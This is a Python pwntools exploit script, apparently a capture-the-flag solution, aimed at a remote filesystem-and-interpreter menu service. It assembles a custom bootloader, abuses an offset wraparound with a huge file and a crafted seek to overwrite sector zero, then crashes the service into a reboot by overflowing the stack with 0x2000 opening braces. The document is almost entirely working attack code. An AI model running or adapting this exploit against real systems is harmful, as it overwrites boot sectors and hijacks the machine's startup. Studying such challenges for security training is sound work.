from pwn import *
from subprocess import run
run(["nasm", "-f", "bin", "-o", "boot.bin", "boot.asm"], check=True)
if args.HOST and args.PORT:
p = remote(args.HOST, args.PORT)
else:
p = remote("localhost", 5000)
""" wait for remote to catch up """
def wait():
p.recvuntil(b"8. write file\n")
""" new bootloader """
bootcode = open("boot.bin", "rb").read()
assert len(bootcode) == 512
m28 = (1 << 28) - 1
""" read filesystem sector offset """
p.recvuntil(b"first availible sector: ")
offset = int(p.recvline().strip())
""" calculate offset to write to sector zero """
zero = (0 - 63 - offset & m28) * 512
log.info(f"offset: {offset}")
""" create massive file """
wait()
log.info(f"creating file")
p.send(b"7\ntmp\n9999999999999999\n")
""" seek to malicious offset """
wait()
log.info(f"seeking to offset")
p.send(b"6\n" + str(zero).encode() + b"\n")
""" write new bootloader """
wait()
log.info(f"writing new bootloader")
p.send(b"8\n512\n" + bootcode + b"\n")
p.recvuntil(b"writing to ")
count = int(p.recvuntil(b" ").strip(b" "))
p.recvuntil(b"sectors to logical block ")
sector = int(p.recvline().strip())
log.info(f"count: {count}, sector: {sector}")
""" disable echo to reduce output """
wait()
log.info(f"disabling echo")
p.send(b"3\n")
""" force the interpreter to recurse and overflow the stack """
wait()
log.info(f"rebooting remote")
p.send(b"1\n" + b"{" * 0x2000 + b"\n")
output = b""
while b"}" not in output:
output += p.recv(timeout=10)
print(output)